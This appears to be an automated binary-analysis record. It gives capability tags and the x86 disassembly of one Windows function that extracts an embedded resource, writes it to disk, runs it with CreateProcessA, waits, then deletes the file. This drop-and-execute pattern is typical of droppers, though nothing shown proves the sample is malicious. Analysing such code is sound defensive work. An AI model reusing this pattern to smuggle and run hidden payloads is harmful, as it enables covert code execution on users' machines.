Function at 0x4050ac
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x4050b4
push ecx
push ebx
push esi
push edi
mov eax, 0x404730
call fcn.004042b0
xor eax, eax
push ebp
push 0x405454
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x406790]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x14]
call fcn.00404584
mov edx, dword [ebp - 0x14]
mov eax, 0x4099d8
call fcn.0040389c
mov byte [0x4099d4], 1
push 0xa
lea edx, [ebp - 0x18]
mov eax, 0x4046dc
call fcn.0040412c
mov eax, dword [ebp - 0x18]
call fcn.00403afc
push eax
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
push ebx
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
test esi, esi
je 0x405162
mov byte [0x4099d4], 1
push esi
call sub.kernel32.dll_LockResource
mov edi, eax
push ebx
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_SizeofResource
mov ecx, eax
mov edx, 0x4097fc
mov eax, edi
call fcn.00402cfc
push esi
call sub.kernel32.dll_FreeResource
push 0xa
lea edx, [ebp - 0x1c]
mov eax, 0x4046d4
call fcn.0040412c
mov eax, dword [ebp - 0x1c]
call fcn.00403afc
push eax
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
push ebx
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
test esi, esi
je 0x4052af
cmp byte [0x4099d4], 0
jne 0x4051aa
xor eax, eax
jmp 0x4051ac
mov al, 1
mov byte [0x4099d4], al
push esi
call sub.kernel32.dll_LockResource
mov edi, eax
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x24]
mov edx, 0x4097fc
call fcn.0040396c
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov edx, dword [0x4099d8]
call fcn.004039dc
mov eax, dword [ebp - 0x20]
call fcn.00403afc
push eax
call sub.kernel32.dll_CreateFileA
mov dword [0x4099f4], eax
mov dword [0x4099e4], 0
mov dword [0x4099e8], 0
push ebx
mov eax, dword [0x4097e0]
push eax
call sub.kernel32.dll_SizeofResource
xor edx, edx
mov dword [0x4099ec], eax
mov dword [0x4099f0], edx
jmp 0x40525b
push 0
push 0x4099f8
push 0x4000
push edi
mov eax, dword [0x4099f4]
push eax
call sub.kernel32.dll_WriteFile_1
add dword [0x4099e4], 0x4000
adc dword [0x4099e8], 0
add edi, 0x4000
mov eax, dword [0x4099ec]
mov edx, dword [0x4099f0]
sub eax, dword [0x4099e4]
sbb edx, dword [0x4099e8]
cmp edx, 0
jne 0x405281
cmp eax, 0x4000
jae 0x40522c
jmp 0x405283
jge 0x40522c
push 0
push 0x4099f8
mov eax, dword [0x4099ec]
sub eax, dword [0x4099e4]
push eax
push edi
mov ebx, dword [0x4099f4]
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_FreeResource
xor eax, eax
push ebp
push 0x405432
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4099d4], 0
je 0x405424
mov eax, 0x4097f0
xor ecx, ecx
mov edx, 0xc
call fcn.00402e54
mov dword [0x4097f0], 0xc
mov dword [0x4097f8], 0xffffffff
xor eax, eax
mov dword [0x4097f4], eax
mov eax, 0x409980
xor ecx, ecx
mov edx, 0x44
call fcn.00402e54
mov dword [0x409980], 0x44
cmp dword [0x40997c], 0x8000
jne 0x405352
push 0x30
lea edx, [ebp - 0x28]
mov eax, 0x4046ec
call fcn.0040412c
mov eax, dword [ebp - 0x28]
call fcn.00403afc
push eax
lea edx, [ebp - 0x2c]
mov eax, 0x4046e4
call fcn.0040412c
mov eax, dword [ebp - 0x2c]
call fcn.00403afc
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 0x40546c
lea eax, [ebp - 0x30]
call fcn.00404694
push dword [ebp - 0x30]
push 0x405480
push dword [0x4099d8]
lea eax, [ebp - 0x34]
mov edx, 0x4097fc
call fcn.0040396c
push dword [ebp - 0x34]
mov eax, 0x4099e0
mov edx, 5
call fcn.00403a58
push 0x4099c4
push 0x409980
push 0
push 0
push 0x20
push 0
push 0
push 0
mov eax, dword [0x4099e0]
call fcn.00403afc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4053eb
push 0xffffffffffffffff
mov eax, dword [0x4099c4]
push eax
call sub.kernel32.dll_WaitForSingleObject
push 0x4099dc
mov eax, dword [0x4099c4]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [0x4099c4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4099c8]
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x3c]
mov edx, 0x4097fc
call fcn.0040396c
mov ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
mov edx, dword [0x4099d8]
call fcn.004039dc
mov eax, dword [ebp - 0x38]
call fcn.00403afc
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x406790]
mov edx, dword [0x4099dc]
mov dword [eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405439
ret